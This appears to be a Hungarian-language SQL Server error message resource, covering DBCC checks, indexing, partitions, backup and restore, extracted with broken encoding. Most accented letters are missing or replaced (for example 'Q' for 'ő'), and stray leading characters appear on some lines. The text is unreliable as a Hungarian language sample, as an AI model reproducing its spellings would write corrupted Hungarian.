A(z) %1!s! objektumazonost (objektum:  %2!s! ) nem dolgozhat fel, mert Service Broker-vrlista. Prblja meg jra a mqveletet a vrlisthoz tartoz belsQ tbla objektumazonostjval (helye: sys.internal_tables).

tA(z) %1!s! adatbzisfjl kapcsolat nlkli llapot.

Helytelen DBCC utasts. EllenQrizze a dokumentciban a DBCC utasts helyes szintaxist s paramtereit.

A(z) %2!s! tbla %1!s! indexe a(z) %3!s! fjlcsoport kapcsolat nlkli llapota miatt nem dolgozhat fel.

pA(z) %1!s! fjlcsoport kapcsolat nlkli llapot.

|A kvetkezQ tbla  %1!s!  indexe le van tiltva:  %2!s! .

$Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). Eltrs szlelhetQ a B-fa szintjei kztt a kvetkezQ lapon: %6!s!. A(z) %7!s! szint nem felel meg az elQzQ %9!s! %8!s! szintjnek.

Egy vagy tbb megadott WITH kapcsol nem rvnyes ehhez a parancshoz.

tTblahiba: Nem volt lthat a(z) %1!s! jelq lap, amely a(z) %2!s! azonostj objektumhoz, %3!s! azonostj indexhez, %4!s! azonostj partcihoz, %5!s! azonostj foglalsi egysghez (tpus: %6!s!) van lefoglalva. A lap esetleg rvnytelen, vagy helytelen foglalsiegysg-azonost szerepel a fejlcben.

Tblahiba: Egy msik objektum lefoglalta a(z) %1!s! jelq lapot, amely a fejlce alapjn a(z) %2!s! azonostj objektumhoz, %3!s! azonostj indexhez, %4!s! azonostj partcihoz, %5!s! azonostj foglalsi egysghez (tpus: %6!s!) van lefoglalva.

Tblahiba: Objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!), lap: %6!s!, sor: %7!s!. A rekordellenQrzs (%8!s!) sikertelen volt. Az rtkek: %9!s! s %10!s!.

Nem dolgozhat fel a kvetkezQ objektumazonost, mert egy szinonima: %1!s! (objektum:  %2!s! ). Ha a szinonima ltal hivatkozott objektum egy tbla vagy nzet, akkor prblja jbl elvgezni a mqveletet a szinonima ltal hivatkozott alapobjektum hasznlatval.

A(z)  %3!s!  tbla  %1!s!  indexe (partci: %2!s!) nem rendezhetQ jra, mert egy msik folyamat ppen jrarendezi.

A(z)  %1!s!  tbla indexei nem rendezhetQk jra, mert mr folyamatban van a tbln egy online indexpts vagy -jrapts.

A(z)  %3!s!  tbla  %1!s!  indexe (partci: %2!s!) nem rendezhetQ jra, mert le van tiltva a lapszintq zrols.

A(z)  %3!s!  tbla  %1!s!  indexe (partci: %2!s!) nem rendezhetQ jra, mert a fjlcsoport csak olvashat.

A kvetkezQ fjl teljes tartalma nem helyezhetQ t egyb helyekre az emptyfile mqvelet elvgzshez:  %1!s! .

Nincs elegendQ hely a fjlcsoportban az emptyfile mqvelet elvgzshez.

A(z)  %1!s!  felhasznlnak nincs engedlye a DBCC %2!s! utasts futtatsra a kvetkezQ objektumon:  %3!s! .

%1!s! helytelen szmllsi eredmny tallhat a kvetkezQ adatbzisban  %2!s! .

A kvetkezQ kapcsolk hasznlata nem engedlyezett ugyanabban az utastsban:  %1!s!  s  %2!s! .

A kvetkezQ paramter helytelen ehhez a DBCC utastshoz: %1!s!.

A kvetkezQ paramter helytelen ehhez az utastshoz: %1!s!.

A(z)  %1!s!  FILESTREAM-fjlcsoport (azonost: %2!s!) ellenQrzse nem tmogatott a DBCC CHECKFILEGROUP utastsban. Olyan fjlcsoportot adjon meg helyette, amelyben FILESTREAM-adatokat tartalmaz felhasznli objektumok szerepelnek.

FILESTREAM-trolk esetn a DBCC SHRINKFILE utastshoz meg kell adni az EMPTYFILE kapcsolt, de semmilyen egyb kapcsol nem adhat meg.

A DBCC DBREINDEX utasts nem hasznlhat rendszertblkra.

A DBCC INDEXDEFRAG utasts nem hasznlhat rendszertblk indexeire.

A kvetkezQ lap az ehhez az adatbzishoz engedlyezett tartomnyon kvl esik, vagy egy naplfjlban van: %1!s!.

Lap: %1!s!, trolhely: %2!s! objektumazonost: %3!s!, indexazonost: %4!s!, partciazonost: %5!s!, foglalsi egysg azonostja: %6!s! (tpus:  %7!s! ). A(z)  %8!s!  oszlop rtke a kvetkezQ adattpushoz engedlyezett tartomnyon kvl esik:  %9!s! . Mdostsa az oszlopot, hogy rvnyes rtket tartalmazzon.

A(z)  %1!s!  felhasznlnak nincs engedlye a DBCC %2!s! utasts futtatsra.

A DBCC utasts nem tudja felszabadtani a kvetkezQ DLL-kdtrat:  %1!s! . A DLL hasznlatban van.

Nem tallhat a kvetkezQ azonostj tbla vagy objektum: %1!s!. EllenQrizze a rendszerkatalgust.

Tblahiba: A kvetkezQ lap res: %1!s!, objektumazonost: %2!s!, indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s! (tpus: %6!s!). Ez nem engedlyezett a B-fa %7!s!. szintjn.

Az indexfoglalsi trkp (Index Allocation Map  IAM) %2!s! jelq lapjnak (objektumazonost: %3!s!, indexazonost: %4!s!, partciazonost: %5!s!, foglalsi egysg azonostja: %6!s!, tpus: %7!s!) kvetkezQ lapot jelzQ mutatja az indexfoglalsi trkp %1!s! jelq lapjra mutat, de a rendszer nem tallta ezt a lapot a vizsglat sorn.

Az indexfoglalsi trkp (Index Allocation Map  IAM) %2!s! jelq lapjnak (objektumazonost: %3!s!, indexazonost: %4!s!, partciazonost: %5!s!, foglalsi egysg azonostja: %6!s!, tpus: %7!s!) elQzQ lapot jelzQ mutatja az indexfoglalsi trkp %1!s! jelq lapjra mutat, de a rendszer nem tallta ezt a lapot a vizsglat sorn.

Az indexfoglalsi trkp (Index Allocation Map  IAM) lncban nem megfelelQ a lncolati sorozatszmok sorrendje a kvetkezQnl: objektumazonost: %1!s!, indexazonost: %2!s!, partciazonost: %3!s!, foglalsi egysg azonostja: %4!s! (tpus: %5!s!). A(z) %7!s! sorozatszm, %6!s! jelq lap a(z) %9!s! sorozatszm, %8!s! jelq lapra mutat.

Tblahiba: A(z) %1!s! egysg (objektumazonost: %2!s!, indexazonost: %3!s!, partciazonost: %4!s!, foglalsi egysg azonostja: %5!s!, tpus: %6!s!) az adatbzis tartomnyn kvl esik.

8A kvetkezQ tbla egy rendszertbla vagy egy ideiglenes tbla:  %1!s! . A DBCC CLEANTABLE utasts nem hajthat vgre rendszer- vagy ideiglenes tbln.

Helytelen szm paramter lett megadva a DBCC utastshoz.

Nem tallhat a(z) %1!s!. partci a kvetkezQ tblhoz:  %2!s! .

Nem tallhat a(z) %1!s!. partci a kvetkezQ indexhez:  %2!s! , tbla:  %3!s! .

hAz rvnytelen %1!s! partciszm lett megadva.

Nem tallhat a(z) %1!s!. partci a kvetkezQ indexazonosthoz: %2!s!, objektumazonost: %3!s!.

A javts nem tudta kijavtani az sszes hibt az elsQ ksrlet alkalmval.

Nem tallhat %1!s! indexazonostj sor a rendszerkatalgusban a kvetkezQ tblhoz:  %2!s! .

A javtsi utasts nem lett feldolgozva. Az adatbzis nem lehet csak olvashat mdban.

@Az ellenQrzs nem folytatdhat a kvetkezQ adatbzishoz tartoz egyetlen objektumon sem, mert az adatbzis pillanatnyilag helyrellts alatt ll:  %1!s! .

Nem lehet soron belli szvegre vltani a kvetkezQ tblban:  %1!s! .

Nem szrhat be dupliklt kulcssor az egyedi  %2!s!  indexszel rendelkezQ  %1!s!  objektumba. A dupliklt kulcsrtk %3!s!.

,A kvetkezQ %1!s! korltozs megsrtse:  %2!s! . Nem szrhat be dupliklt kulcs a kvetkezQ objektumba:  %3!s! . A dupliklt kulcsrtk %4!s!.

Tl sok utasts szerepel a ktegben, a maximlis szm: %1!s!.

`A kvetkezQ adatbzis nem ltezik:  %1!s! .

Nem hasznlhatk ismtlQdQ oszlopnevek a partci oszlopainak listjn. A kvetkezQ oszlopnv egynl tbbszr szerepel:  %1!s! .

dA megadott  %1!s!  partcisma rvnytelen.

,Az oszlopneveknek mindegyik tblban egyedieknek kell lennik. A(z)  %1!s!  oszlopnv egynl tbbszr van megadva a kvetkezQ tblban:  %2!s! .

XA kvetkezQ tbla nem ltezik:  %1!s! .

PA(z)  %1!s!  oszlop (helye:  %3!s!  %2!s!) nem hasznlhat indexben vagy statisztikkban, illetve partcikulcsknt, mert egy nem smhoz kttt objektumtl fgg.

lA(z)  %1!s!  oszlop (helye:  %3!s!  %2!s!) nem hasznlhat indexben vagy statisztikkban, illetve partcikulcsknt, mert felhasznli vagy rendszerszintq adatelrsre szolgl.

(n nem az ebben az utastsban (CREATE, ALTER, TRUNCATE, UPDATE STATISTICS vagy BULK INSERT) szereplQ  %1!s!  objektumhoz megadott tulajdonos.

A(z)  %1!s!  objektum erQforrs-adatbzisbeli defincija a kvetkezQ, nem ASCII karaktert tartalmazza:  %2!s! .

A kvetkezQ adatbzis nem konfigurlhat terjesztsi adatbzisknt, mert engedlyezve van r a vltozskvets:  %1!s! .

xMr szerepel egy  %1!s!  nevq objektum az adatbzisban.

%1!s!. oszlop, paramter vagy vltoz: Nem tallhat a kvetkezQ adattpus: %2!s!.

%1!s!. oszlop, paramter vagy vltoz: Nem adhat meg oszlopszlessg a kvetkezQ adattpushoz: %2!s!.

A(z)  %3!s!  %2!s! megadott mrete (%1!s!) meghaladja az engedlyezett maximumot (%4!s!).

A kvetkezQ adatbzis frisstse sikertelen volt, mert tartalmaz egy  sys  nevq felhasznlt, ez a kulcssz azonban fenntartott felhasznlnv vagy smanv az SQL Server jelen verzijban:  %1!s! .

A(z)  %2!s!  %1!s! nem kthetQ smhoz, mert a kvetkezQ rendszerobjektumra hivatkozik:  %3!s! .

Az XML adattpust kezelQ metdusok kifejezsekben val hasznlata ebben a krnyezetben nem engedlyezett.

Egy online mqvelet nem vgezhetQ el a(z)  %2!s!  %1!s! esetn, mert az index tartalmazza a kvetkezQ oszlopot, amelynek adattpusa szveg, ntext, kp vagy FILESTREAM:  %3!s! . Nem frtztt index esetn az oszlop az index egy befoglalt oszlopa lehet. Frtztt index esetn az oszlop a tbla brmely oszlopa lehet. A DROP_EXISTING zradk hasznlata esetn az oszlop egy j vagy rgi index rsze lehet. A mqveletet offline mdban kell elvgezni.

LA(z)  %1!s!  partcis fggvny %2!s! oszlopot hasznl, ez a szm azonban nem egyezik a tbla vagy index particionlshoz hasznlt partcis oszlopok szmval.

\A kvetkezQ index nem tallhat:  %1!s! .

pParticionls legfeljebb %1!s! oszlopra vgezhetQ.

(A(z)  %1!s!  oszlop (helye:  %3!s!  %2!s!) nem hasznlhat indexben vagy statisztikkban, illetve partcikulcsknt, mert nem determinisztikus.

Nem hozhat ltre a(z)  %1!s!  eljrs %2!s! csoportszmmal, mert jelenleg nem ltezik az adatbzisban azonos nevq eljrs 1 csoportszmmal. ElQbb vgre kell hajtani a CREATE PROCEDURE  %3!s! ;1 utastst.

pA(z)  %1!s!  oszlop szlessge rvnytelen: %2!s!.

A kvetkezQ hibaszm rvnytelen: %1!s!. A szmnak a(z) %2!s! s %3!s! kztti tartomnyba kell esnie, s nem lehet 50000.

A kvetkezQ adattpus visszatrsi rtkekhez rvnytelen: %1!s!.

dNem hozhat ltre  %1!s!  elsQdleges XML-, szelektv XML- vagy trbeli index a kvetkezQn, mert a PRIMARY KEY korltozs idQblyegzQ tpus oszlopo(ka)t tartalmaz:  %2!s! .

DEgy tbla csak egy idQblyegzQ oszlopot tartalmazhat. A(z)  %1!s!  tblban mr szerepel egy ilyen oszlop, ezrt a kvetkezQ oszlop nem vehetQ fel:  %2!s! .

A szveg, ntext s kp adattpus helyi vltozkhoz rvnytelen.

HA SET LANGUAGE utasts vgrehajtsa sikertelen, mert a kvetkezQ nv nem egy hivatalos nyelvnv vagy nyelvi aliasnv ezen az SQL Server-kiszolgln:  %1!s! .

A SET DATEFORMAT utasts  %1!s!  dtumsorrendje rvnytelen.

pA SET DATEFIRST utasts %1!s! rtke rvnytelen.

A(z) %1!s! lehetQsghez szksges a kvetkezQ paramter: %2!s!.

Tbb identitsoszlop van megadva a kvetkezQ tblhoz:  %1!s! . Tblnknt csak egy identitsoszlop engedlyezett.

Tl sok helyettestsi paramter van megadva a RAISERROR utastshoz. Legfeljebb %1!s! helyettestsi paramter adhat meg.

A(z) %1!s! adattpus (%2!s! paramter) nem adhat meg helyettestsi paramterknt.

lA(z)  %1!s!  identitsoszlop adattpusa csak a kvetkezQk egyike lehet: int, bigint, smallint, tinyint, illetve decimlis vagy numerikus 0 sklval, nem nullzhatra korltozva.

%1!s!. oszlop vagy paramter: A megadott %2!s! oszloppontossg nagyobb, mint a maximlis %3!s! pontossg.

%1!s!. oszlop vagy paramter: A megadott %2!s! oszlopskla nagyobb, mint a megadott %3!s! pontossg.

A kvetkezQ identitsoszlop rvnytelen SEED rtket tartalmaz:  %1!s! .

A kvetkezQ identitsoszlop rvnytelen INCREMENT rtket tartalmaz:  %1!s! .

HCsak a sysadmin (rendszergazda) szerepkr tagjai adhatnak meg olyan hibaslyossgi szinteket, amelyek nagyobbak, mint %1!s!, a WITH LOG kapcsol hasznlatval.

A SET DEADLOCK_PRIORITY kapcsol rvnytelen. Az rvnyes rtkek: {HIGH | NORMAL | LOW | egsz tpus [%1!s! ... %2!s!]}.

Az llapot %1!s! rtke rvnytelen. Az rvnyes tartomny: %2!s! %3!s!.

A CREATE SCHEMA utasts vgrehajtsa korbbi hibk miatt sikertelen.

A megadott  %1!s!  smanv nem ltezik, vagy nnek nincs engedlye a hasznlatra.

A ROWGUIDCOL tulajdonsg csak az egyedi azonost adattpusnl adhat meg.

Helytelenl lett meghvva az sp_setapprole trolt eljrs. Tovbbi informci a dokumentciban olvashat.

A felhasznl ltal definilt  %1!s!  adattpus defincija mdosult.

A kvetkezQ statisztikk nem tallhatk a rendszerkatalgusokban:  %1!s! .

A SELECT INTO utastsban nem egyezhet meg a forrs- s a cltbla.

Az ideiglenes tblk nem rhetQk el egy fggvnyen bellrQl.

A rendezsazonost srlt, mert a rendezsi sorrend %1!s! azonostja rvnytelen.

lA kvetkezQ rendezsazonost rvnytelen: %1!s!.

xA kiszolgl nem tmogatja a kvetkezQ kdlapot: %1!s!.

Csak a rendszergazda adhat meg %1!s! kapcsolt a kvetkezQ parancshoz: %2!s!.

A(z)  %2!s!  %1!s! egy automatikusan eldobsra kerlQ rendszerobjektum, amely nem hasznlhat lekrdezsekben vagy DDL-utastsokban.

hA kvetkezQ nzet nincs smhoz ktve:  %1!s! .

<Nem hozhat ltre a kvetkezQ tbla:  %1!s! . Egy tblnak frtztt elsQdleges kulcsot kell tartalmaznia ahhoz, hogy XML adattpus oszlopai lehessenek.

Felhasznl ltal definilt fggvnyek, felhasznl ltal definilt sszestsek, CLR-beli tpusok, valamint CLR-beli tpusokat kezelQ metdusok kifejezsekben val hasznlata ebben a krnyezetben nem engedlyezett.

A kvetkezQ helyettestsi paramter adattpusa nem felel meg a formtummegads alapjn vrt tpusnak: %1!s!.

XA formtummegads rvnytelen:  %1!s! .

A szinonimk hasznlata smhoz kttt objektumban vagy korltozs kifejezsben rvnytelen.

A(z)  %2!s!  %1!s! ktrszes nevt kell megadni smhoz kttt objektumban vagy korltozs kifejezsben.

Nem hasznlhat TEXT, NTEXT vagy IMAGE tpus oszlop egy korltozs kifejezsben.

A smhoz kttt objektumhoz vagy korltozshoz tartoz kifejezs feloldsa sikertelen volt.

Nem adhat meg az SQL valamely CLR-beli tpusa smhoz kttt objektumban vagy korltozs kifejezsben.

A megadott  %1!s!  tulajdonosnv nem ltezik, vagy nnek nincs engedlye a nevben val tevkenysgvgzsre.

Az zenetszveg a maximlis szmnl tbb argumentumot vr (%1!s!).

$A(z) %1!s! %2!s! mqvelet elvgzse sikertelen volt, mert az j  %4!s!  %3!s! s a tblban szereplQ FILESTREAM  %6!s!  %5!s! nem egyezik meg.

Nem adhat meg adatbzisnv a $partition hasznlatval smhoz kttt objektumban, szmtott oszlopban vagy korltozs kifejezsben.

TAz alaprtelmezett sma nem ltezik.

Nem hozhat ltre a(z)  %1!s!  index vagy statisztika a(z)  %2!s!  tbln, mert az SQL Server nem tud meggyQzQdni arrl, hogy a kvetkezQ kulcsoszlop precz s determinisztikus:  %3!s! . Fontolja meg az oszlop eltvoltst az index vagy statisztika kulcsbl, a szmtott oszlop megQrzttknt val megjellst, illetve nem a CLR-bQl szrmaztatott oszlop hasznlatt a kulcsban.

HNem hozhat ltre a(z)  %1!s!  index vagy statisztika a(z)  %2!s!  tbln, mert a kvetkezQ szmtott oszlop nem precz s nem determinisztikus:  %3!s! . Fontolja meg az oszlop eltvoltst az index vagy statisztika kulcsbl, illetve a szmtott oszlop megQrzttknt val megjellst.

A kvetkezQ objektum defincija megvltozott a fordtsa ta:  %1!s! .

A(z)  %2!s!  %1!s! irnti krelem vgrehajtsa sikertelen volt, mert a(z)  %3!s!  egy %4!s! objektum.

pA kvetkezQ trolt eljrs nem tallhat:  %1!s! .

A(z)  %1!s!  nem tmogatott az SQL Server ezen kiadsban.

A BACKUP s a RESTORE utasts nem futtathat adatbzis-pillanatkpen.

Nem kszthetQ fjlszerq biztonsgi msolat az elsQdleges fjlcsoportrl, mert az adatbzis a SIMPLE helyrelltsi modellt hasznlja. Fontolja meg rszleges biztonsgi msolat ksztst a READ_WRITE_FILEGROUPS kapcsol megadsval.

\A klnbzeti biztonsgi ments nem engedlyezett, mert egynl tbb alapvetQ biztonsgi msolaton alapulna. A tbbalap klnbzeti biztonsgi mentsek nem engedlyezettek az egyszerq helyrelltsi modell alkalmazsa esetn, s soha nem engedlyezettek rszleges klnbzeti biztonsgi mentsnl.

|A kvetkezQ fjl vagy fjlcsoport nem online llapot, ezrt a biztonsgi mentse nem engedlyezett:  %1!s! . Trol llapota:  %2!s!  (%3!s!). Visszalltsi llapot: %4!s!. A BACKUP utasts csak gy hajthat vgre, hogy a FILEGROUP vagy a FILE zradk hasznlatval az online adatokra korltozza a kijellst.

A megadott eszkztpus nem tmogatott a biztonsgi msolatok tkrzshez.

Nem sikerlt beszrni egy biztonsgi mentsi vagy visszalltsi elQzmny- vagy rszletrekordot az msdb adatbzisba. Ez az msdb adatbzissal kapcsolatos problmra utalhat. A biztonsgi mentsi vagy visszalltsi mqvelet ennek ellenre sikeres volt.

rvnytelen tkr van megadva a biztonsgi mentshez. Az sszes tkrnek egyezQ szm tagot kell tartalmaznia.

Az sszes biztonsgi mentsi eszkznek ugyanabba az ltalnos osztlyba kell tartoznia (pldul DISK vagy TAPE).

Elfogyott a VDI pufferterlete, amikor az SQL Server megprblta elkldeni a klnbzeti adatokat az SQL Writer sszetevQnek.

LA(z) %1!s! lellsa rendellenes.

A kvetkezQ fjl biztonsgi mentse nem engedlyezett, mert a fjl online visszalltsi menetben szereplQ lapokat tartalmaz:  %1!s! . A biztonsgi ments elQtt fejezze be a visszalltsi menetet, vagy korltozza a biztonsgi mentst, hogy kihagyja ezt a fjlt.

Az jraindtsi ellenQrzQpont  %1!s!  fjljnak megnyitsa sikertelen volt. Az opercis rendszer ltal visszaadott hiba:  %2!s! . Hrtsa el a problmt, vagy adja ki a parancsot jbl a RESTART zradk nlkl.

Az jraindtsi ellenQrzQpont  %1!s!  fjlja egy korbbi, megszaktott RESTORE mqveletbQl szrmazik, s nem konzisztens a jelenlegi RESTORE paranccsal. Az jraindtsi parancsnak ugyanazt a szintaxist kell hasznlnia, mint amelyet a megszaktott parancs hasznlt, csak ki kell egszteni a RESTART zradkkal. Msik lehetQsgknt adja ki jbl a jelenlegi utastst a RESTART zradk nlkl.

Tranzakcin bell nem vgezhetQ biztonsgi mentsi vagy visszalltsi mqvelet.

A biztonsgi mentsi s fjlkezelsi mqveleteket (pldul ALTER DATABASE ADD FILE), valamint az adatbzisok titkostsnak vltst szerializlni kell. A jelenlegi biztonsgi mentsi vagy fjlkezelsi mqvelet befejezQdse utn adja ki az utastst jbl.

$A fQadatbzisrl csak teljes biztonsgi msolat kszthetQ. Hasznlja a BACKUP DATABASE utastst a teljes fQadatbzis biztonsgi mentshez.

Hinyzik az adatbzis neve. Adja ki az utastst jbl egy rvnyes adatbzisnv megadsval.

A(z)  %1!s!  fjlcsoport nem rsze a kvetkezQ adatbzisnak:  %2!s! .

0A(z)  %1!s!  kapcsol tkzik a kvetkezQ kapcsolval vagy kapcsolkkal:  %2!s! . Tvoltsa el az tkzQ kapcsolt, s adja ki az utastst jbl.

Egy vagy tbb kapcsol (%1!s!) nem tmogatott ennl az utastsnl. A dokumentciban ttekintheti a tmogatott kapcsolkat.

A BACKUP DATABASE utasts nem hasznlhat vszhelyzeti mdban megnyitott adatbzissal.

Nem jellt ki fjlokat feldolgozsra. Esetleg egy vagy tbb olyan fjlcsoportot jellt ki, amelynek nincsenek tagjai.

<Nem vgezhetQ el a kvetkezQ adatbzis klnbzeti biztonsgi mentse, mert nem ltezik az adatbzis aktulis biztonsgi msolata:  %1!s! . A BACKUP DATABASE utasts jbli kiadsval s a WITH DIFFERENTIAL kapcsol elhagysval vgezze el az adatbzis teljes biztonsgi mentst.

A(z)  %1!s!  adatbzis meleg kszenlti llapotban van (amely a RESTORE WITH STANDBY utasts vgrehajtsval llthat be), s a teljes visszalltsi menet befejezse elQtt nem kszthetQ rla biztonsgi msolat.

A kvetkezQ fjlnv nem rvnyes biztonsgi mentsi eszkz neveknt:  %1!s! . Adja ki jbl a BACKUP utastst egy rvnyes fjlnvvel.

Nem vgezhetQ el a kvetkezQ fjl klnbzeti biztonsgi mentse, mert nem ltezik a fjl aktulis biztonsgi msolata:  %1!s! . Adja ki jbl a BACKUP DATABASE utastst a WITH DIFFERENTIAL kapcsol elhagysval.

,A BACKUP mqvelet nem tudta vgrehajtani a kvetkezQ parancsot: %1!s!. EllenQrizze a rszletes zeneteket a biztonsgi mentsi alkalmazsnaplban.

A(z)  %1!s!  BACKUP mqvelet hibt szlelt a lapon (%2!s!:%3!s!) a kvetkezQ fjlban:  %4!s! .

rvnytelen, nulla hosszsg eszkznv. Adja ki jbl a BACKUP utastst egy rvnyes eszkznvvel.

\A BACKUP vagy RESTORE mqvelethez NTFS-fjlrendszer szksges a FILESTREAM s a teljes szveges lehetQsg tmogatshoz. A kvetkezQ elrsi t nem hasznlhat:  %1!s! .

|A rendszer inkonzisztens metaadatokat tallt. Az egyetlen lehetsges biztonsgi mentsi mqvelet a naplvg biztonsgi mentse a WITH CONTINUE_AFTER_ERROR vagy a NO_TRUNCATE kapcsolval.

A BackupDirectory belltskulcs nincs helyesen konfigurlva. Ennek a kulcsnak azt az tvonalgykeret kellene megadnia, ahol a lemezes biztonsgi msolat fjljai troldnak, ha nincsenek megadva teljes elrsi utak. A rendszer ezt az elrsi utat hasznlja az jraindtsi ellenQrzQpont fjljainak megtallshoz is a RESTORE mqvelethez.

A BACKUP mqvelet az adatbzisnapl srlst szlelte. Tovbbi informcirt tekintse t a hibanaplt.

|Az SQL Server nem tudta elkldeni a(z)  %2!s!\\%3!s!  adatbzis  %1!s!  adatbzisfjljra vonatkoz klnbzeti adatokat a biztonsgi mentsi alkalmazsnak, mert a klnbzeti adatok tl nagy helyet ignyelnek a memriban val elhelyezshez, s egy ideiglenes fjl hasznlatra irnyul ksrlet sikertelen volt.

HA BACKUP LOG mqvelet nem tudta fenntartani a tkrzsi konzisztencit a kvetkezQ adatbzisra vonatkozan:  %1!s! . Az adatbzis tkrzse fel lett fggesztve.

A BACKUP LOG utasts nem tudta naplzni a kvetkezQ adatbzis frisstseit:  %1!s! . Tovbbi naplmentsekre lesz szksg ahhoz, hogy a biztonsgi mentsi pont %2!s! rtkrQl %3!s! rtkre vltozzon, miutn elrhetQv tettek naplzsi terletet a naplzsukhoz. 

A fjlokrl kszlt klnbzeti biztonsgi msolatok kizrlag csak olvashat adatokat tartalmazhatnak az egyszerq helyrelltsi modellt hasznl adatbzisokrl. Fontolja meg rszleges biztonsgi msolat ksztst a READ_WRITE_FILEGROUPS kapcsol megadsval.

A biztonsgi ments  %1!s!  clja egy FILESTREAM-fjlcsoportot tmogat. Ez a fjlcsoport nem hasznlhat biztonsgi ments cljaknt. Futtassa jbl a BACKUP utastst rvnyes biztonsgi mentsi cl megadsval.

XA biztonsgi mentsi mqvelet vratlan fjlt szlelt egy FILESTREAM-trolban. A biztonsgi mentsi mqvelet folytatdik, s tartalmazza majd a kvetkezQ fjlt:  %1!s! .

lAz eszkz neve rvnytelen. A megadott eszkznv hossza meghaladja a tmogatott korltot (a maximlis hossz: %1!s!). Adja ki jbl a BACKUP utastst egy rvnyes eszkznvvel.

Ez a BACKUP vagy RESTORE parancs adatbzistkr vagy msodlagos msodpldny esetn nem tmogatott.

Az jraindtsi ellenQrzQpont  %1!s!  fjljnak megnyitsa sikertelen volt. Az opercis rendszer ltal visszaadott hiba:  %2!s! . Tegye elrhetQv a fjlt, s prblja jbl elvgezni a mqveletet, vagy indtsa jra a RESTORE utastssorozatot.

Nem kszthetQ biztonsgi msolat egy HADRON msodlagos adatbzisrl, mert az llapota nem  Szinkronizls alatt  vagy  Szinkronizlva .

DA biztonsgi ments nem vgezhetQ el, mert a(z)  %1!s!  irnti krelem azt kvetQen rkezett, hogy megtrtnt az adathordoz formzsa egy inkompatibilis szerkezettel. Az adathordoz-kszlethez val hozzfqzshez hagyja el a(z)  %2!s!  kapcsolt, vagy adja meg a kvetkezQt:  %3!s! . Msik lehetQsgknt ltrehozhat j adathordoz-kszletet, ha a WITH FORMAT kapcsolt hasznlja a BACKUP utastsban. Ha ltezQ adathordoz-kszletre vonatkozan adja meg a WITH FORMAT kapcsolt, akkor a kszlet sszes biztonsgimsolat-kszlete fellrdik.

A kizrlagos hozzfrs krse sikertelen volt, mert az adatbzis hasznlatban van.

HA(z) %1!s! nem tudja feldolgozni a kvetkezQ adatbzist, mert ez a munkamenet hasznlja azt:  %2!s! . E mqvelet elvgzsekor javasolt a fQadatbzist hasznlni.

Ezzel a paranccsal nem indthat rszleges visszalltsi menet. Rszleges visszalltsi menet indtshoz hasznlja a RESTORE utasts WITH PARTIAL zradkt, s adjon meg egy olyan biztonsgimsolat-kszletet, amely legalbb az elsQdleges adatfjlrl tartalmaz egy teljes msolatot. A RESTORE utasts WITH PARTIAL zradka semmilyen ms clra nem hasznlhat.

A RESTORE utasts nem tudja kezelni a kvetkezQ adatbzist, mert az adatbzis-tkrzsre van konfigurlva, vagy csatlakoztatva lett egy rendelkezsre llsi csoporthoz:  %1!s! . Ha vissza kvnja lltani az adatbzist, az ALTER DATABASE utasts hasznlatval szntesse meg a tkrzst, vagy tvoltsa el az adatbzist a rendelkezsre llsi csoportbl.

A RESTORE utasts nem tud tbb lapot visszalltani a kvetkezQ fjlba, mert mr folyamatban van a maximlis szm lap (%2!s!) visszalltsa:  %1!s! . Vagy fejezze be a visszalltsi menetet a folyamatban levQ lapokra vonatkozan, vagy hasznlja a RESTORE FILE utastst a fjlban levQ sszes lap visszalltshoz.

A kvetkezQ fjlcsoport nem egyrtelmq:  %1!s! . A biztonsgimsolat-kszletben szereplQ identits nem egyezik az online adatbzisban jelenleg definilt fjlcsoporttal. A biztonsgimsolat-kszletben szereplQ fjlcsoport hasznlatnak knyszertshez lltsa offline llapotba az adatbzist, s adja ki jbl a RESTORE parancsot.

tA kvetkezQ fjl nem egyrtelmq:  %1!s! . A biztonsgimsolat-kszletben szereplQ identits nem egyezik az online adatbzisban jelenleg definilt fjllal. A biztonsgimsolat-kszletben szereplQ fjl hasznlatnak knyszertshez lltsa offline llapotba az adatbzist, s adja ki jbl a RESTORE parancsot.

A fQadatbzis visszalltshoz a kiszolglnak egyfelhasznls mdban kell futnia. Az egyfelhasznls mdban val indtsrl az online knyvek  How to: Start an Instance of SQL Server (sqlservr.exe)  cmq tmakrben olvashat.

A fQadatbzis csak egy teljes biztonsgi msolat hasznlatval llthat vissza s llthat teljesen helyre egyetlen lpsben. A NORECOVERY, STANDBY, STOPAT s hasonl kapcsolk hasznlata nem tmogatott.

A felhasznlnak nincs engedlye RESTORE mqvelet elvgzsre a kvetkezQ adatbzison:  %1!s! .

A kvetkezQ lap egy vezrlQlap, amely nem llthat vissza elklntve: %1!s!. E lap kijavtshoz a teljes fjlt vissza kell lltani.

A fQadatbzison kvl egyetlen adatbzis sem llthat vissza, ha a kiszolgl egyfelhasznls mdban mqkdik.

\A rendszer rvnytelen adatokat szlelt.

Az adatbzis az egyszerq helyrelltsi modellt hasznlja. Nem lehetsges az rhat-olvashat adatok rszhalmaznak visszalltsa.

8A megadott biztonsgi msolat nem ugyanazon a helyrelltsi elrsi ton tallhat, mint az adatbzis, s nem hasznlhat online fjlvisszalltshoz.

A naplrl kszlt vagy a klnbzeti biztonsgi msolat nem llthat vissza, mert nincs olyan fjl, amely ksz az elQregrgetsre.

A kvetkezQ adatbzis nem ltezik:  %1!s! . A RESTORE utasts csak akkor tud ltrehozni egy adatbzist, ha teljes biztonsgi msolatbl vagy az elsQdleges fjlrl kszlt biztonsgi msolatbl vgeznek visszalltst.

Problmk merltek fel a RESTORE utastshoz val tervezs sorn. A rszletek a korbbi zenetekben olvashatk.

Ez a biztonsgimsolat-kszlet nem lesz visszalltva, mert mr az sszes adat vissza lett lltva egy olyan idQpontig, amely az e biztonsgimsolat-kszlet ltal lefedett idQszakon tl van.

|A kvetkezQ fjl olyan helyrelltsi elrsi ton tallhat, amely nem kompatibilis ezen biztonsgimsolat-kszlet alkalmazsval:  %1!s! . A RESTORE utasts futsa nem folytatdhat.

A fjl inicializlsa sikertelen volt. A RESTORE utasts futsa nem folytatdhat.

rvnytelen  %1!s!  adatbzisnevet adtak meg a biztonsgi mentsi vagy visszalltsi mqvelethez.

